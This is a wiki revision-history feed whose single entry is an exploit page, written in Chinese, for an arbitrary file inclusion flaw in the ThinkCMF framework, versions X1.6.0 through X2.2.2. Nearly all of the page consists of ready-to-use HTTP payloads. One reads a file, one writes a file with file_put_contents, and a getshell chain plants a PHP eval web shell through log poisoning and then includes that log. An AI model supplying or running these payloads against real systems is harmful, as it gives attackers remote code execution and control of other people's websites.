https://pwnwiki.com/index.php?action=history&feed=atom&title=ThinkCMF%E6%A1%86%E6%9E%B6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E
ThinkCMF框架 任意文件包含漏洞 - Revision history
2026-04-10T23:02:29Z
Revision history for this page on the wiki
MediaWiki 1.35.1
https://pwnwiki.com/index.php?title=ThinkCMF%E6%A1%86%E6%9E%B6_%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&diff=2695&oldid=prev
Pwnwiki: Created page with "==影響版本== <pre> ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 </pre> ==Payload== <pre> ?a=display&templateFile=README.md </pre> ==P..."
2021-05-07T04:21:02Z
<p>Created page with "==影響版本== <pre> ThinkCMF X1.6.0 ThinkCMF X2.1.0 ThinkCMF X2.2.0 ThinkCMF X2.2.1 ThinkCMF X2.2.2 </pre> ==Payload== <pre> ?a=display&templateFile=README.md </pre> ==P..."</p>
<p><b>New page</b></p><div>==影響版本==<br />
<pre><br />
ThinkCMF X1.6.0<br />
ThinkCMF X2.1.0<br />
ThinkCMF X2.2.0<br />
ThinkCMF X2.2.1<br />
ThinkCMF X2.2.2<br />
</pre><br />
<br />
<br />
==Payload==<br />
<pre><br />
?a=display&templateFile=README.md<br />
</pre><br />
<br />
==Payload (文件寫入) ==<br />
<pre><br />
?a=fetch&templateFile=public/index&prefix=''&content=<php>file_put_contents('1.php','<?php phpinfo(); ?>')</php><br />
</pre><br />
<br />
==Getshell==<br />
<pre><br />
?a=display&templateFile=<?php file_put_contents('shell.php','<?php+eval($_POST["6666"]);?>');die();?><br />
<br />
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log<br />
</pre><br />
<br />
<br />
<pre><br />
http://target.domain/?a=display&templateFile=<?php eval($_POST["6666"]);?><br />
<br />
<br />
http://target.domain/?a=display&templateFile=data/runtime/Logs/Portal/YY_MM_DD.log<br />
</pre></div>
Pwnwiki